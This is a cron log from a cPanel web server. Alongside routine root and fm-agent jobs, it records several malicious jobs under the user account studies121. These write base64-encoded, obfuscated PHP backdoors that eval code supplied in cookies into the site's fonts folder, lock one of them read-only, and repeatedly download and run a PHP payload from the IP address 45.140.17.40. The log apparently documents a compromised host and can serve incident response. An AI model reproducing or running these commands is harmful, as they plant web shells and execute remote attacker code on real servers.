Feb 22 09:26:01 ip-184-168-122-23 CROND[8835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:26:01 ip-184-168-122-23 CROND[8834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:27:01 ip-184-168-122-23 CROND[9144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:27:01 ip-184-168-122-23 CROND[9145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:27:01 ip-184-168-122-23 CROND[9149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:27:01 ip-184-168-122-23 CROND[9148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:28:01 ip-184-168-122-23 CROND[9545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:28:01 ip-184-168-122-23 CROND[9543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:28:01 ip-184-168-122-23 CROND[9544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:28:01 ip-184-168-122-23 CROND[9542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:28:01 ip-184-168-122-23 CROND[9546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:29:01 ip-184-168-122-23 CROND[9884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:29:01 ip-184-168-122-23 CROND[9887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:29:01 ip-184-168-122-23 CROND[9890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:29:01 ip-184-168-122-23 CROND[9892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:30:01 ip-184-168-122-23 CROND[10236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:30:01 ip-184-168-122-23 CROND[10235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:30:01 ip-184-168-122-23 CROND[10238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:30:01 ip-184-168-122-23 CROND[10242]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 09:30:01 ip-184-168-122-23 CROND[10240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:30:01 ip-184-168-122-23 CROND[10244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 09:30:01 ip-184-168-122-23 CROND[10246]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 09:30:01 ip-184-168-122-23 CROND[10245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:31:01 ip-184-168-122-23 CROND[10628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:31:01 ip-184-168-122-23 CROND[10630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:31:01 ip-184-168-122-23 CROND[10633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:31:01 ip-184-168-122-23 CROND[10632]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 09:31:01 ip-184-168-122-23 CROND[10631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:32:01 ip-184-168-122-23 CROND[10951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:32:01 ip-184-168-122-23 CROND[10952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:32:01 ip-184-168-122-23 CROND[10955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:32:01 ip-184-168-122-23 CROND[10956]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:32:01 ip-184-168-122-23 CROND[10958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:33:01 ip-184-168-122-23 CROND[11351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:33:01 ip-184-168-122-23 CROND[11352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:33:01 ip-184-168-122-23 CROND[11354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:33:01 ip-184-168-122-23 CROND[11355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:34:01 ip-184-168-122-23 CROND[11682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:34:01 ip-184-168-122-23 CROND[11684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:34:01 ip-184-168-122-23 CROND[11686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:34:01 ip-184-168-122-23 CROND[11685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:34:01 ip-184-168-122-23 CROND[11687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:35:01 ip-184-168-122-23 CROND[12018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:35:01 ip-184-168-122-23 CROND[12020]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 09:35:01 ip-184-168-122-23 CROND[12021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:35:01 ip-184-168-122-23 CROND[12025]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 09:35:01 ip-184-168-122-23 CROND[12026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:35:01 ip-184-168-122-23 CROND[12022]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 09:35:01 ip-184-168-122-23 CROND[12027]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 09:35:01 ip-184-168-122-23 CROND[12023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:36:01 ip-184-168-122-23 CROND[12365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:36:01 ip-184-168-122-23 CROND[12369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:36:01 ip-184-168-122-23 CROND[12370]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:36:01 ip-184-168-122-23 CROND[12368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:36:01 ip-184-168-122-23 CROND[12371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:37:01 ip-184-168-122-23 CROND[12741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:37:01 ip-184-168-122-23 CROND[12744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:37:01 ip-184-168-122-23 CROND[12743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:37:01 ip-184-168-122-23 CROND[12748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:38:01 ip-184-168-122-23 CROND[13153]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:38:01 ip-184-168-122-23 CROND[13157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:38:01 ip-184-168-122-23 CROND[13155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:38:01 ip-184-168-122-23 CROND[13156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
